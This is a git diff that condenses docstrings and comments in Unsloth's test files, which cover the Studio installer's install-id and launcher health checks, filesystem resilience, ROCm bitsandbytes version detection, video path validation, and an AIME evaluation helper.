@@ -507,9 +462,7 @@ def test_check_health_rejects_missing_studio_root_id_field():
 
 
 def test_check_health_no_baked_id_accepts_any_healthy_backend():
-    """If _EXPECTED_STUDIO_ROOT_ID is empty (e.g. install-time hash failed
-    to compute), the launcher falls back to the legacy contract and accepts
-    any healthy Unsloth backend."""
+    """Empty _EXPECTED_STUDIO_ROOT_ID falls back to legacy contract: accept any healthy Unsloth backend."""
     rc = _run_check_health(
         "",
         '{"status":"healthy","service":"Unsloth UI Backend","studio_root_id":"deadbeef"}',
@@ -526,12 +479,7 @@ def test_check_health_rejects_non_unsloth_service():
 
 
 def test_check_health_handles_arbitrary_id_token():
-    """Iter3 used a raw shell match against the JSON-escaped studio_root,
-    which failed for paths containing `\\` or `"` (FastAPI emits `\\\\` and
-    `\\\"`). The per-install id token is hex-only by construction, so its
-    JSON form has no escapes regardless of where the install lives or what
-    the path contains. This test pins the round-trip on a fully arbitrary
-    64-char hex token."""
+    """A fully arbitrary 64-char hex install id must round-trip cleanly (hex-only, no JSON escapes)."""
     expected_id = "f0" + ("ed" * 31)  # 64 hex chars, not derived from any path
     rc = _run_check_health(
         expected_id,
@@ -541,8 +489,7 @@ def test_check_health_handles_arbitrary_id_token():
 
 
 def test_install_ps1_test_studio_health_verifies_studio_root_id():
-    """install.ps1 Test-StudioHealth must compare studio_root_id against
-    the install-time-baked $_ExpectedStudioRootId, not the runtime env var."""
+    """install.ps1 Test-StudioHealth must compare studio_root_id against baked $_ExpectedStudioRootId."""
     src = INSTALL_PS1.read_text()
     fn_start = src.index("function Test-StudioHealth")
     fn_end = src.index("\n}\n", fn_start) + 2
@@ -554,11 +501,7 @@ def test_install_ps1_test_studio_health_verifies_studio_root_id():
 
 
 def test_install_ps1_bakes_studio_root_id_into_launcher():
-    """install.ps1 must persist a per-install opaque id at
-    $StudioHome\\share\\studio_install_id and bake the value into the
-    generated launcher as $_ExpectedStudioRootId so the launcher can
-    verify the backend belongs to THIS install. The id is generated
-    via a CSPRNG so /api/health does not leak the install path."""
+    """install.ps1 must persist a CSPRNG id at share/studio_install_id and bake it as $_ExpectedStudioRootId."""
     src = INSTALL_PS1.read_text()
     assert "$_studioRootId" in src, "install.ps1 must compute $_studioRootId for the launcher"
     assert (
@@ -573,10 +516,7 @@ def test_install_ps1_bakes_studio_root_id_into_launcher():
 
 
 def test_health_endpoint_exposes_studio_root_id_not_raw_path():
-    """studio/backend/main.py /api/health must expose studio_root_id (a
-    hex digest) and NOT the raw studio_root path. Studio supports
-    `-H 0.0.0.0`; a /api/health that returns the raw install path
-    leaks username, home dir, workspace name, etc."""
+    """/api/health must expose studio_root_id (hex digest), NOT the raw path (info disclosure on -H 0.0.0.0)."""
     main_py = REPO_ROOT / "studio" / "backend" / "main.py"
     src = main_py.read_text()
     health_idx = src.index('@app.get("/api/health")')
@@ -593,12 +533,7 @@ def test_health_endpoint_exposes_studio_root_id_not_raw_path():
 
 
 def test_install_sh_bakes_studio_root_id_into_launcher():
-    """install.sh must persist a per-install opaque id at
-    $STUDIO_HOME/share/studio_install_id and substitute its content into
-    the launcher heredoc placeholder for ALL modes (env / home / default),
-    so the launcher's _check_health rejects sibling Studios on the same
-    port. The id is seeded from /dev/urandom (or python3 secrets fallback)
-    so /api/health does not leak the install path."""
+    """install.sh must persist the id at share/studio_install_id and bake it into the launcher for ALL modes."""
     src = INSTALL_SH.read_text()
     assert (
         "_css_studio_root_id" in src
@@ -618,12 +553,8 @@ def test_install_sh_bakes_studio_root_id_into_launcher():
 
 
 def test_tauri_preflight_scrubs_studio_home_env():
-    """All three Tauri CLI-spawn sites that lacked the scrub must now
-    env_remove UNSLOTH_STUDIO_HOME and STUDIO_HOME, mirroring
-    process.rs / install.rs / desktop_auth.rs / update.rs."""
-    # preflight was one .rs file; PR #5341 split it into a submodule dir. Read
-    # whichever shape is on disk so the guard survives reorgs, as long as the
-    # scrub calls live under studio/src-tauri/src/preflight*.
+    """Tauri CLI-spawn sites must env_remove UNSLOTH_STUDIO_HOME and STUDIO_HOME."""
+    # PR #5341 split preflight into a submodule dir; read whichever shape is on disk.
     preflight_root = REPO_ROOT / "studio" / "src-tauri" / "src"
     preflight_paths = [
         preflight_root / "preflight.rs",
@@ -631,8 +562,7 @@ def test_tauri_preflight_scrubs_studio_home_env():
     ]
     preflight = "\n".join(p.read_text() for p in preflight_paths if p.exists())
     commands = (REPO_ROOT / "studio" / "src-tauri" / "src" / "commands.rs").read_text()
-    # Both functions (run_cli_probe + probe_cli_capability) must scrub.
-    # Count occurrences -- expect 2 in preflight (one per fn), 1 in commands.
+    # Expect 2 scrubs in preflight (run_cli_probe + probe_cli_capability), 1 in commands.
     assert (
         preflight.count('cmd.env_remove("UNSLOTH_STUDIO_HOME")') >= 2
     ), "preflight must scrub UNSLOTH_STUDIO_HOME in both run_cli_probe and probe_cli_capability"
@@ -648,8 +578,7 @@ def test_tauri_preflight_scrubs_studio_home_env():
 
 
 def test_install_sh_shim_uses_atomic_replace():
-    """install.sh shim install must use ln -sfn for atomic replace; the
-    older `rm -f ...; ln -s ...` left a window where the shim was missing."""
+    """install.sh shim install must use ln -sfn for atomic replace (rm+ln left a missing-shim window)."""
     src = INSTALL_SH.read_text()
     shim_idx = src.index('_shim_path="$_LOCAL_BIN/unsloth"')
     block = src[shim_idx : shim_idx + 1500]
@@ -662,11 +591,7 @@ def test_install_sh_shim_uses_atomic_replace():
 
 
 def test_install_sh_create_shortcuts_seeds_id_from_csprng_with_python_fallback(tmp_path):
-    """_create_shortcuts must seed new ids from /dev/urandom first (no
-    interpreter spawn cost on the install hot path) and fall back to
-    `python3 -c 'secrets.token_hex(32)'` only when urandom is unreadable.
-    Re-running the function with an existing id file must not regenerate
-    the id (otherwise re-runs would invalidate previously-baked launchers)."""
+    """_create_shortcuts seeds ids from /dev/urandom (python3 secrets fallback) and is re-run idempotent."""
     src = INSTALL_SH.read_text()
     fn_start = src.index('_css_data_dir="$DATA_DIR"')
     block = src[fn_start : fn_start + 3000]
@@ -675,22 +600,19 @@ def test_install_sh_create_shortcuts_seeds_id_from_csprng_with_python_fallback(t
     assert (
         urandom_idx < py_fallback_idx
     ), "/dev/urandom must be tried before the python3 secrets fallback"
-    # The id file is checked for non-empty content before we generate; this is
-    # what makes re-runs idempotent.
+    # Non-empty id file check before generation is what makes re-runs idempotent.
     assert (
         'if [ ! -s "$_css_id_file" ]; then' in block
     ), "install.sh must skip id generation when the file already has content"
 
-    # Behavioral check: extract the generation block and run it in isolation
-    # twice to confirm idempotence.
+    # Behavioral check: run the generation block twice to confirm idempotence.
     studio_home = tmp_path / "studio"
     (studio_home / "share").mkdir(parents = True)
     gen_script = (
         f'STUDIO_HOME="{studio_home}"\n'
         '_css_id_dir="$STUDIO_HOME/share"\n'
         '_css_id_file="$_css_id_dir/studio_install_id"\n'
-        # Replicate the generation block (kept narrowly so the test fails loud
-        # if install.sh changes the surrounding contract).
+        # Replicate the generation block narrowly so it fails loud on contract drift.
         "gen() {\n"
         '    if [ ! -s "$_css_id_file" ]; then\n'
         '        _css_new_id=$(od -An -N32 -tx1 /dev/urandom 2>/dev/null | tr -d " \\n")\n'
@@ -714,9 +636,7 @@ def test_install_sh_create_shortcuts_seeds_id_from_csprng_with_python_fallback(t
 
 
 def test_install_sh_create_shortcuts_fails_fast_when_no_entropy():
-    """If neither /dev/urandom nor python3 is available, _create_shortcuts
-    must `return 1` instead of silently baking an empty studio_root_id
-    (which would disable the launcher's same-install discriminator)."""
+    """With no entropy source, _create_shortcuts must `return 1` not bake an empty studio_root_id."""
     src = INSTALL_SH.read_text()
     fn_start = src.index('_css_data_dir="$DATA_DIR"')
     block = src[fn_start : fn_start + 3000]
@@ -732,9 +652,7 @@ def test_install_sh_create_shortcuts_fails_fast_when_no_entropy():
 
 
 def test_install_sh_bakes_installed_is_env_mode_flag_in_launcher():
-    """install.sh must bake the install-time mode (env vs default/home) into
-    the generated launcher so PORT_FILE / namespaced LOCK_DIR cannot be
-    flipped on by a sourced custom-root studio.conf in the user's shell."""
+    """install.sh must bake the install-time mode into the launcher so a sourced studio.conf can't flip it."""
     src = INSTALL_SH.read_text()
     assert (
         "_INSTALLED_IS_ENV_MODE='@@INSTALLED_IS_ENV_MODE@@'" in src
@@ -749,10 +667,7 @@ def test_install_sh_bakes_installed_is_env_mode_flag_in_launcher():
 
 
 def test_install_sh_launcher_gates_port_file_on_baked_flag_not_runtime_env():
-    """The launcher's PORT_FILE / namespaced LOCK_DIR must be gated on the
-    baked $_INSTALLED_IS_ENV_MODE flag, not the runtime $UNSLOTH_STUDIO_HOME.
-    Sourcing a custom-root studio.conf in shell must not flip a default-mode
-    launcher into env-mode behavior."""
+    """Launcher PORT_FILE/LOCK_DIR must gate on baked $_INSTALLED_IS_ENV_MODE, not runtime $UNSLOTH_STUDIO_HOME."""
     src = INSTALL_SH.read_text()
     heredoc_start = src.index("cat > \"$_css_launcher\" << 'LAUNCHER_EOF'")
     heredoc_end = src.index("LAUNCHER_EOF\n", heredoc_start)
@@ -769,7 +684,7 @@ def test_install_sh_launcher_gates_port_file_on_baked_flag_not_runtime_env():
     ), "launcher must NOT gate PORT_FILE on runtime UNSLOTH_STUDIO_HOME"
 
     def _run_launcher_gate(installed_flag: str, runtime_env: dict) -> str:
-        # Reproduce just the LOCK_DIR/PORT_FILE init block in isolation.
+        # Run the LOCK_DIR/PORT_FILE init block in isolation.
         script = (
             f"_INSTALLED_IS_ENV_MODE={installed_flag!r}\n"
             "DATA_DIR=/tmp/test_data_dir\n"
@@ -789,21 +704,18 @@ def test_install_sh_launcher_gates_port_file_on_baked_flag_not_runtime_env():
                 return line[len("PORT_FILE=") :]
         return ""
 
-    # default-mode install should NEVER set PORT_FILE, even if UNSLOTH_STUDIO_HOME leaks in.
+    # default-mode must keep PORT_FILE empty even if UNSLOTH_STUDIO_HOME leaks in.
     assert (
         _run_launcher_gate("false", {"UNSLOTH_STUDIO_HOME": "/tmp/leaked"}) == ""
     ), "default-mode launcher must keep PORT_FILE empty even with UNSLOTH_STUDIO_HOME in env"
-    # env-mode install should set PORT_FILE regardless of runtime env.
+    # env-mode must set PORT_FILE regardless of runtime env.
     assert (
         _run_launcher_gate("true", {}) == "/tmp/test_data_dir/studio.port"
     ), "env-mode launcher must set PORT_FILE based on baked DATA_DIR"
 
 
 def test_main_py_studio_root_id_caches_at_module_load():
-    """_studio_root_id() is called on every /api/health poll; the id is
-    stable for the lifetime of the process so it must be read once at
-    module load and re-used (avoids a hot-path filesystem probe and
-    protects against transient FS errors during health polling)."""
+    """_studio_root_id() must read the id once at module load and reuse it (no per-poll FS/hash work)."""
     main_py = (REPO_ROOT / "studio" / "backend" / "main.py").read_text()
     assert (
         "_STUDIO_ROOT_ID_CACHE: str = _read_studio_install_id()" in main_py
@@ -820,20 +732,13 @@ def test_main_py_studio_root_id_caches_at_module_load():
 
 
 def test_main_py_read_studio_install_id_validates_hex_and_handles_missing(tmp_path, monkeypatch):
-    """_read_studio_install_id reads $STUDIO_HOME/share/studio_install_id and
-    returns "" when the file is absent, empty, contains non-hex content, or
-    is the wrong length. "" triggers the launcher's "no baked id, accept any
-    healthy backend" fallback path (see test_check_health_no_baked_id_*).
-    Behavioral check: spin up a stub _STUDIO_ROOT_RESOLVED and exercise
-    _read_studio_install_id directly without importing main.py (which
-    pulls in heavy deps). Test the rejection rules verbatim."""
+    """_read_studio_install_id returns "" for absent/empty/non-hex/wrong-length ids, else the token."""
     import re
 
     pattern = re.compile(r"^[0-9a-f]{64}$")
 
     def _read(root: Path) -> str:
-        # Mirror the implementation; this test pins the exact contract so a
-        # future refactor can't silently widen what's accepted.
+        # Mirror the implementation to pin the exact accepted contract.
         try:
             token = (root / "share" / "studio_install_id").read_text().strip()
         except (OSError, ValueError):
@@ -866,17 +771,13 @@ def test_main_py_read_studio_install_id_validates_hex_and_handles_missing(tmp_pa
 
 
 def test_llama_cpp_search_roots_handles_studio_root_oserror():
-    """_find_llama_server_binary calls studio_root() which can raise
-    OSError or ValueError from Path.expanduser().resolve() (broken symlink,
-    null byte). The except clause must mirror sibling _kill_orphaned_servers
-    (which catches the same trio) so inference startup does not crash."""
+    """_find_llama_server_binary must catch (ImportError, OSError, ValueError) from studio_root() like its sibling."""
     llama_cpp = (
         REPO_ROOT / "studio" / "backend" / "core" / "inference" / "llama_cpp.py"
     ).read_text()
 
     def _method_body(name: str) -> str:
-        # Whole method body (def to next sibling def), so the check survives the
-        # function growing past any fixed-size window.
+        # Whole method body (def to next sibling def) so the check survives growth.
         start = llama_cpp.index(f"def {name}")
         indent = " " * (start - llama_cpp.rfind("\n", 0, start) - 1)
         nxt = llama_cpp.find(f"\n{indent}def ", start + 1)
@@ -891,31 +792,21 @@ def test_llama_cpp_search_roots_handles_studio_root_oserror():
 
 
 def test_install_sh_install_id_survives_symlinked_studio_home(tmp_path):
-    """End-to-end behavioral check: when $STUDIO_HOME is reached via a
-    symlinked parent (e.g. symlinked $HOME on Linux, junctioned %USERPROFILE%
-    on Windows), install.sh and the backend agree on the install id BY
-    CONSTRUCTION because the id is read from a file whose location resolves
-    the same way for both. The previous sha256(canonical_path) scheme
-    required `cd -P/pwd -P` and Path.resolve() to produce identical strings,
-    which broke under symlinks/junctions and required cycles 17-27 of the
-    PR's review history to fully canonicalize. This is the regression test
-    pinning that the new design has no such drift."""
+    """Regression: install id read from a file (not sha256(canonical_path)) agrees under a symlinked $STUDIO_HOME."""
     real = tmp_path / "realhome"
     real.mkdir()
     link = tmp_path / "linkhome"
     link.symlink_to(real)
     studio_home = real / ".unsloth" / "studio"
     (studio_home / "share").mkdir(parents = True)
-    # Write a stub install id at the canonical location.
     valid_id = "ab12" * 16
     (studio_home / "share" / "studio_install_id").write_text(valid_id)
-    # Read back via canonical and symlinked path; both must see the SAME
-    # content so install.sh's cat and the backend's read_text agree.
+    # Canonical and symlinked paths must see the SAME content (cat and read_text agree).
     raw_via_link = link / ".unsloth" / "studio" / "share" / "studio_install_id"
     raw_direct = studio_home / "share" / "studio_install_id"
     assert raw_via_link.read_text() == valid_id
     assert raw_direct.read_text() == valid_id
-    # And install.sh's `cat` would see the same.
+    # install.sh's `cat` sees the same.
     import subprocess as _sp
 
     res = _sp.run(["cat", str(raw_via_link)], capture_output = True, text = True)
@@ -924,10 +815,7 @@ def test_install_sh_install_id_survives_symlinked_studio_home(tmp_path):
 
 
 def test_install_sh_substitutes_root_id_before_data_dir():
-    """The two-stage sed substitution must bake @@STUDIO_ROOT_ID@@ /
-    @@INSTALLED_IS_ENV_MODE@@ first (non-user-controlled), then @@DATA_DIR@@
-    (user-controlled). A custom $DATA_DIR containing the literal text
-    @@STUDIO_ROOT_ID@@ must not be mutated by the global root-id sed pass."""
+    """sed must bake the non-user-controlled placeholders before @@DATA_DIR@@ so a crafted $DATA_DIR isn't mutated."""
     src = INSTALL_SH.read_text()
     root_id_idx = src.index("s|@@STUDIO_ROOT_ID@@|$_css_studio_root_id|g")
     env_mode_idx = src.index("s|@@INSTALLED_IS_ENV_MODE@@|$_css_is_env_mode|g")
@@ -942,10 +830,7 @@ def test_install_sh_substitutes_root_id_before_data_dir():
 
 
 def test_install_sh_root_id_pass_does_not_mutate_user_data_dir(tmp_path):
-    """Behavioral subprocess test: a $DATA_DIR containing the literal text
-    `@@STUDIO_ROOT_ID@@` must not be mutated when the placeholder pass runs
-    first; only the actual placeholder occurrences in the launcher template
-    are replaced."""
+    """A $DATA_DIR containing the literal @@STUDIO_ROOT_ID@@ must survive the placeholder-first sed passes."""
     src = INSTALL_SH.read_text()
     heredoc_start = src.index("cat > \"$_css_launcher\" << 'LAUNCHER_EOF'")
     heredoc_body_start = src.index("\n", heredoc_start) + 1
@@ -953,7 +838,7 @@ def test_install_sh_root_id_pass_does_not_mutate_user_data_dir(tmp_path):
     template = src[heredoc_body_start:heredoc_body_end]
     launcher_path = tmp_path / "launch.sh"
     launcher_path.write_text(template)
-    # Run the iter6 sed order: root-id first, then data-dir.
+    # sed order: root-id first, then data-dir.
     weird_data_dir = "/tmp/with-@@STUDIO_ROOT_ID@@/share"
     root_id = "deadbeef" * 8
     is_env = "true"
@@ -977,11 +862,7 @@ sed "s|@@DATA_DIR@@|$_sed_safe|g" "{launcher_path}" > "{launcher_path}.tmp" \\
 
 
 def test_install_ps1_install_id_file_layout_matches_backend_read_path():
-    """install.ps1 must write the id at $StudioHome\\share\\studio_install_id
-    so the backend (studio/backend/main.py:_read_studio_install_id) can find
-    it via _STUDIO_ROOT_RESOLVED / "share" / "studio_install_id" without
-    mode-specific path knowledge. Persistence-across-runs is enforced by the
-    pre-write Test-Path check."""
+    """install.ps1 must write the id at share/studio_install_id where the backend reads it, idempotently."""
     src = INSTALL_PS1.read_text()
     id_idx = src.index('$_studioIdDir = Join-Path $StudioHome "share"')
     context = src[id_idx : id_idx + 1500]
diff --git a/tests/test_studio_root_resilience.py b/tests/test_studio_root_resilience.py
index 9037d6965c..5b835f770b 100644
--- a/tests/test_studio_root_resilience.py
+++ b/tests/test_studio_root_resilience.py
@@ -1,13 +1,4 @@
-"""Resilience checks for Studio install-root inference under hostile
-filesystem conditions:
-- _infer_studio_home_from_venv must NOT propagate PermissionError /
-  OSError out through studio_root() (it would crash module import in
-  run.py / main.py / transformers_version.py / model_config.py).
-- _kill_orphaned_servers must catch (ImportError, OSError, ValueError)
-  on the studio_root() probe so a transient resolve / sentinel failure
-  cannot crash server startup.
-- _find_llama_server_binary must keep the custom-root in search_roots
-  when the inner resolve() comparison itself fails."""
+"""Studio install-root inference must not crash under hostile filesystem conditions (PermissionError/OSError swallowed; custom root kept when resolve() fails)."""
 
 from __future__ import annotations
 
@@ -48,9 +39,7 @@ def test_infer_studio_home_swallows_permission_error(tmp_path, monkeypatch):
 
 
 def test_studio_root_does_not_crash_on_permission_error(tmp_path, monkeypatch):
-    """studio_root() must remain callable even when the venv inference
-    encounters a restricted filesystem; it should fall through to the
-    legacy default."""
+    """studio_root() falls through to the legacy default on a restricted filesystem."""
     candidate = tmp_path / "fake_root"
     venv = candidate / "unsloth_studio"
     venv.mkdir(parents = True)
@@ -65,19 +54,15 @@ def test_studio_root_does_not_crash_on_permission_error(tmp_path, monkeypatch):
 
 
 def test_kill_orphan_catches_oserror_from_studio_root():
-    """_kill_orphaned_servers must catch (ImportError, OSError, ValueError)
-    on the studio_root() probe specifically; the sister function
-    _find_llama_server_binary uses the same broader catch on its own probe."""
+    """_kill_orphaned_servers must catch (ImportError, OSError, ValueError) on the studio_root() probe."""
     src = LLAMA_CPP.read_text()
     fn_start = src.index("def _kill_orphaned_servers")
     fn_body = src[fn_start : fn_start + 4000]
-    # The studio_root() probe in this fn is the one that imports as `_sr`
-    # and assigns `_resolved_sr = _sr()`. Find the except that closes it.
+    # The studio_root() probe imports as `_sr` and assigns `_resolved_sr = _sr()`.
     probe_idx = fn_body.index("storage_roots import studio_root as _sr")
-    # The matching except is the next `except ...:` after the inner
-    # OSError/ValueError block that wraps resolve().
+    # The matching except is the next one after the inner resolve() block.
     after = fn_body[probe_idx:]
-    # Skip over the inner `except (OSError, ValueError):` that wraps resolve().
+    # Skip the inner `except (OSError, ValueError):` that wraps resolve().
     inner_idx = after.index("except (OSError, ValueError):")
     after_inner = after[inner_idx + len("except (OSError, ValueError):") :]
     outer_match = re.search(r"except\s*\(?[^)]*?\)?:", after_inner)
@@ -91,8 +76,7 @@ def test_kill_orphan_catches_oserror_from_studio_root():
 def _exec_search_roots_block(
     home: Path, studio_root_value: Path, resolve_raises: bool
 ) -> list[Path]:
-    """Extract _find_llama_server_binary's env-mode search_roots block
-    and execute it with controlled inputs."""
+    """Extract and run _find_llama_server_binary's env-mode search_roots block with controlled inputs."""
     src = LLAMA_CPP.read_text()
     block_start = src.index('legacy_llama = Path.home() / ".unsloth" / "llama.cpp"')
     block_end = src.index("_seen_roots: set[str]", block_start)
diff --git a/tests/test_video_path_validation.py b/tests/test_video_path_validation.py
index d1406230e3..cb101ead6c 100644
--- a/tests/test_video_path_validation.py
+++ b/tests/test_video_path_validation.py
@@ -1,8 +1,7 @@
-"""
-Tests for check_dataset_for_missing_videos (issue #5085).
+"""Tests for check_dataset_for_missing_videos (issue #5085).
 
-Fixtures extract the function from vision.py via AST so the pure-Python logic
-tests run without the full unsloth import chain (triton/CUDA kernels).
+Fixtures AST-extract the function from vision.py so logic tests run without
+the full unsloth import chain (triton/CUDA kernels).
 """
 
 import ast
@@ -22,8 +21,7 @@ def _extract_fns_via_ast(
     fn_names,
     extra_ns = None,
 ):
-    """Exec a set of top-level functions out of a .py file so intra-module
-    references between them resolve."""
+    """Exec the named top-level functions from a .py file so their mutual references resolve."""
     source = source_path.read_text(encoding = "utf-8")
     tree = ast.parse(source, filename = str(source_path))
     wanted = set(fn_names)
diff --git a/tests/test_windows_rocm_bnb_version.py b/tests/test_windows_rocm_bnb_version.py
index c8439b1fcd..a3aea4d74e 100644
--- a/tests/test_windows_rocm_bnb_version.py
+++ b/tests/test_windows_rocm_bnb_version.py
@@ -11,10 +11,7 @@
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 # GNU Lesser General Public License for more details.
 
-"""Tests for ``maybe_set_windows_rocm_bnb_version`` (unsloth/import_fixes.py).
-
-The module is loaded in isolation (stdlib + packaging only), so no torch /
-GPU is required and unsloth's GPU init never runs."""
+"""Tests for ``maybe_set_windows_rocm_bnb_version`` (loaded in isolation, no torch/GPU)."""
 
 from __future__ import annotations
 
@@ -45,8 +42,8 @@ def import_fixes():
 
 @pytest.fixture()
 def clean_env(monkeypatch):
-    """Unset the env vars and remove them afterwards (the function writes
-    os.environ directly, which monkeypatch does not auto-revert)."""
+    """Unset the env vars and remove them afterwards; the function writes
+    os.environ directly, which monkeypatch does not auto-revert."""
     for var in (
         "BNB_ROCM_VERSION",
         "UNSLOTH_SKIP_BNB_ROCM_VERSION",
@@ -78,7 +75,7 @@ def test_detect_picks_highest_rocm_suffix(import_fixes, tmp_path, monkeypatch):
     pkg.mkdir()
     for name in (
         "libbitsandbytes_rocm72.dll",
-        "libbitsandbytes_rocm713.dll",  # numerically highest -> should win
+        "libbitsandbytes_rocm713.dll",  # numerically highest -> wins
         "libbitsandbytes_cpu.dll",
         "__init__.py",
     ):
@@ -129,8 +126,7 @@ def test_noop_when_not_rocm_torch(import_fixes, clean_env):
 
 
 def test_noop_when_no_rocm_dll_installed(import_fixes, clean_env):
-    # Never force a ROCm backend name when no ROCm DLL ships (avoid breaking a
-    # non-ROCm bitsandbytes that happens to sit next to a ROCm torch build).
+    # No ROCm DLL ships -> don't force a backend name (would break non-ROCm bnb).
     _force(import_fixes, clean_env, win = True, rocm = True, detected = None)
     assert import_fixes.maybe_set_windows_rocm_bnb_version() is None
     assert "BNB_ROCM_VERSION" not in os.environ
@@ -151,8 +147,7 @@ def test_explicit_opt_out(import_fixes, clean_env):
 
 
 def test_redetects_sitecustomize_seeded_default(import_fixes, clean_env):
-    # Studio's installer persists a default via the venv sitecustomize.py; the
-    # wheel may have changed since, so the seeded value must be redetected.
+    # A sitecustomize-seeded default must be redetected (the wheel may have changed).
     clean_env.setenv("BNB_ROCM_VERSION", "72")
     clean_env.setenv("UNSLOTH_BNB_ROCM_VERSION_SOURCE", "sitecustomize")
     _force(import_fixes, clean_env, win = True, rocm = True, detected = "713")
@@ -181,8 +176,7 @@ def test_user_value_with_non_sitecustomize_marker_untouched(import_fixes, clean_
 
 
 def test_opt_out_unseats_sitecustomize_seeded_value(import_fixes, clean_env):
-    # The opt-out must also drop a default our own sitecustomize block seeded,
-    # so bitsandbytes never sees the override the user disabled.
+    # Opt-out must also drop a sitecustomize-seeded default so bnb never sees it.
     clean_env.setenv("BNB_ROCM_VERSION", "72")
     clean_env.setenv("UNSLOTH_BNB_ROCM_VERSION_SOURCE", "sitecustomize")
     clean_env.setenv("UNSLOTH_SKIP_BNB_ROCM_VERSION", "1")
@@ -202,8 +196,7 @@ def test_opt_out_keeps_explicit_user_value(import_fixes, clean_env):
 
 
 def test_empty_string_value_without_marker_is_respected(import_fixes, clean_env):
-    # "" counts as present: without the sitecustomize marker it is not ours
-    # to overwrite.
+    # "" counts as present: without the sitecustomize marker it is not ours to overwrite.
     clean_env.setenv("BNB_ROCM_VERSION", "")
     _force(import_fixes, clean_env, win = True, rocm = True, detected = "72")
     assert import_fixes.maybe_set_windows_rocm_bnb_version() is None
@@ -211,8 +204,8 @@ def test_empty_string_value_without_marker_is_respected(import_fixes, clean_env)
 
 
 # ---------------------------------------------------------------------------
-# _is_hip_torch_build (the strict gate -- regression for the HIP-SDK-on-a-
-# CUDA-box false positive: env hints like HIP_PATH must NOT count)
+# _is_hip_torch_build: strict gate; HIP-SDK env hints (HIP_PATH) must NOT count
+# (regression for the HIP-SDK-on-a-CUDA-box false positive).
 # ---------------------------------------------------------------------------
 
 
@@ -226,15 +219,14 @@ def test_hip_build_true_from_wheel_tag(import_fixes, monkeypatch):
 
 
 def test_hip_build_true_from_torch_version_hip(import_fixes, monkeypatch):
-    # Custom/source HIP build without the +rocm tag.
+    # Custom/source HIP build without the +rocm wheel tag.
     monkeypatch.setattr(import_fixes, "importlib_version", lambda name: "2.11.0")
     monkeypatch.setitem(__import__("sys").modules, "torch", _fake_torch("7.2.0"))
     assert import_fixes._is_hip_torch_build() is True
 
 
 def test_hip_build_false_for_cuda_torch_despite_rocm_env_hints(import_fixes, monkeypatch):
-    """HIP SDK env vars set but CUDA torch: the strict gate must say False,
-    otherwise BNB_ROCM_VERSION gets set and CUDA bitsandbytes raises."""
+    """HIP SDK env vars but CUDA torch: gate must be False, else CUDA bnb raises."""
     monkeypatch.setenv("HIP_PATH", r"C:\Program Files\AMD\ROCm\6.2")
     monkeypatch.setenv("ROCM_PATH", r"C:\Program Files\AMD\ROCm\6.2")
     monkeypatch.setattr(import_fixes, "importlib_version", lambda name: "2.9.0+cu126")
diff --git a/tests/utils/aime_eval.py b/tests/utils/aime_eval.py
index 6b7db2026d..0f291c88dc 100644
--- a/tests/utils/aime_eval.py
+++ b/tests/utils/aime_eval.py
@@ -41,7 +41,7 @@ def download_and_combine_aime_datasets(data_dir: str = "./data/aime") -> str:
             response = requests.get(url)
             response.raise_for_status()
 
-            # Parse each line and tag with source + global ID
+            # Tag each line with its source dataset + global ID
             for line_num, line in enumerate(response.text.strip().split("\n")):
                 if line.strip():
                     try:
@@ -149,7 +149,7 @@ def extract_aime_answer(response: str) -> str:
     for pattern in patterns:
         matches = re.findall(pattern, response_lower, re.MULTILINE | re.IGNORECASE)
         if matches:
-            answer = matches[-1]  # last match is most likely the final answer
+            answer = matches[-1]  # last match = the final answer
             try:
                 num = int(answer)
                 if 0 <= num <= 999:
@@ -212,7 +212,6 @@ def evaluate_model_aime(
     output_tokens = []
     correct_answers = 0
 
-    # Track performance by source dataset
     source_stats = {}
     for example in eval_dataset:
         source = example["source_dataset"]
@@ -220,7 +219,6 @@ def evaluate_model_aime(
             source_stats[source] = {"total": 0, "correct": 0}
         source_stats[source]["total"] += 1
 
-    # Setup sampling parameters (AIME configuration)
     sampling_params = SamplingParams(
         temperature = temperature,
         top_p = top_p,
@@ -236,7 +234,7 @@ def evaluate_model_aime(
     print(f"   Top-p: {top_p}")
     print(f"   Seed: {seed}")
 
-    # Temporarily suppress verbose logging
+    # Temporarily suppress verbose vllm/ray logging
     original_levels = {}
     loggers_to_suppress = [
         "vllm",
@@ -264,7 +262,6 @@ def evaluate_model_aime(
 
                     input_tokens.append(get_num_tokens(prompt_text, tokenizer))
 
-                    # Generate multiple responses
                     outputs = model.fast_generate(
                         [prompt_text],
                         sampling_params = sampling_params,
@@ -332,14 +329,13 @@ def evaluate_model_aime(
                     continue
 
     finally:
-        # Restore logging levels
         for logger_name, level in original_levels.items():
             logging.getLogger(logger_name).setLevel(level)
 
     total_problems = len(eval_dataset)
     accuracy = correct_answers / total_problems * 100
 
-    # Pass@k: probability at least one of k samples is correct
+    # Pass@k: fraction of problems where at least one of k samples is correct
     pass_at_k_scores = []
     for record in records.values():
         if "n_correct" in record and "n_total" in record:
@@ -352,7 +348,6 @@ def evaluate_model_aime(
 
     pass_at_k = sum(pass_at_k_scores) / len(pass_at_k_scores) if pass_at_k_scores else 0
 
-    # Per-source accuracies
     source_accuracies = {}
     for source, stats in source_stats.items():
         source_accuracies[source] = (
@@ -410,7 +405,6 @@ def evaluate_model_aime(
     print(f"   Max input tokens:     {results['max_input_tokens']:>10}")
     print(f"   Max output tokens:    {results['max_output_tokens']:>10}")
 
-    # Performance assessment for AIME
     if accuracy >= 50:
         tier = "🏆 EXCEPTIONAL"
     elif accuracy >= 30:
@@ -431,14 +425,12 @@ def evaluate_model_aime(
     return results
 
 
-# Comparison functions for multiple model results
 def compare_aime_results(all_results):
     """Generate comprehensive comparison for AIME evaluation results"""
     print(f"\n{'='*80}")
     print("COMPREHENSIVE AIME MODEL COMPARISON")
     print(f"{'='*80}")
 
-    # Main comparison table
     print(f"{'Model':<15} {'Accuracy %':<12} {'Pass@K %':<10} {'Correct':<8} {'Total':<8}")
     print("-" * 80)
 
@@ -451,13 +443,12 @@ def compare_aime_results(all_results):
             f"{result['total_problems']:<8}"
         )
 
-    # Performance improvement analysis
     if len(all_results) > 1:
         print(f"\n{'='*50}")
         print("IMPROVEMENT ANALYSIS")
         print(f"{'='*50}")
 
-        base_result = all_results[0]  # Assume first is base model
+        base_result = all_results[0]  # first is the base model
 
         for i, result in enumerate(all_results[1:], 1):
             print(f"\n{result['model_type']} vs {base_result['model_type']}:")
@@ -468,12 +459,10 @@ def compare_aime_results(all_results):
             print(f"  Accuracy improvement:  {accuracy_improvement:+.1f}%")
